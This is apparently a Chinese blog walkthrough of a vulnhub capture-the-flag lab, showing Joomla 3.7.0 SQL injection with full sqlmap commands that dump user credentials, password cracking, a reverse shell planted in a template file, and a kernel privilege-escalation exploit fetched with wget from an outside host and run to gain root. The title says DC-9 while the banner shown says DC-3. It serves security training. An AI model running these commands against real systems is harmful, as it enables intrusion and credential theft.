[vulhub靶机通关]DC-9(_内核信息提权_)

实验步骤

1.信息收集

主机探测 确定目标靶机的ip地址

对目标靶机进行端口扫描

发现80端口是开着的 我们用浏览器去访问一下

我们去访问一下这几个网站

发现只有administrator可以访问 是一个登陆页面 我们用插件查看用的是什么cms系统

信息收集就到这里了 我们知道了网站的目录 所用的框架

2.漏洞利用

得知了joomla的版本是3.7.0

我们用

searchsploits joomla 3.7.0 

去查找相应的poc

这两个都可以

http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

payload

#爆username和password值
sqlmap -u "http://192.168.89.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump

将密码写入到txt文件中 用john去跑

得到了密码 为snoopy

在tempalte目录下 随便找一个php文件插入我们的反弹shell

在kali上开启监听 同时在网站上让他去访问这个php文件

拿到shell

我们试着提权

suid提权

find / -perm -4000 -type f 2>/dev/null

没有能用的命令 我们看看能不能内核提权

uname -a //查看版本

Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

版本信息为4.4.0-21

查找对应的poc

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

给了两个地址

Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip   

wget 下载下来

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

解压 根据39772.txt中的方法进行攻击 我们需要将exploit.tar上传上去

我们在kali上开启apache服务

wget http://192.168.89.132/exploit.tar
systemctl restart apache2
//将exploit.tar 移动到 /var/html/www 目录下

开始解压

cd ebpf_mapfd_doubleput_exploit
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./compile.sh
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./doubleput
whoami

得到了root权限

用python写一个交互脚本

python -c 'import pty;pty.spawn("/bin/bash")'

cd到root目录下

找到了flag

 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值